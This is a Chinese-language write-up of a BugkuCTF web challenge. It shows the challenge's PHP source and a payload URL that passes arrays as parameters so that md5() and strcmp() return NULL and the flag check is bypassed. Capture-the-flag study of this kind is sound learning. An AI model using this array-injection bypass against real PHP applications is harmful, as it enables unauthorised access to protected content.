BugkuCTF-web-前女友 writeup

题目描述

题目传送门：http://123.206.31.85:49162/

解题思路

打开链接一大段文字，，，没什么有用的，，嗯，PHP是世界上最好的语言

老套路，先看看源码再说

不看源码还真是看不出来这有个链接，打开这个隐蔽链接后得到：

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){//v1与v2的值要不一样，但是他们经过md5加密后又一样
        if(!strcmp($v3, $flag)){//strcmp() 函数比较两个字符串（区分大小写），相同则返回0
            echo $flag;
        }
    }
}
?>

• 因为md5不能处理数组，如果md5处理数组则为NULL，那么我们可以将v1,v2写成数组传入即可
• strcmp()函数,要想v3和flag相同，我们也可以将v3写成数组绕过

  得到FLAG

  综上，构造pyload
  http://123.206.31.85:49162/index.php?v1[]=1&v2[]=2&v3[]=3
  

---

END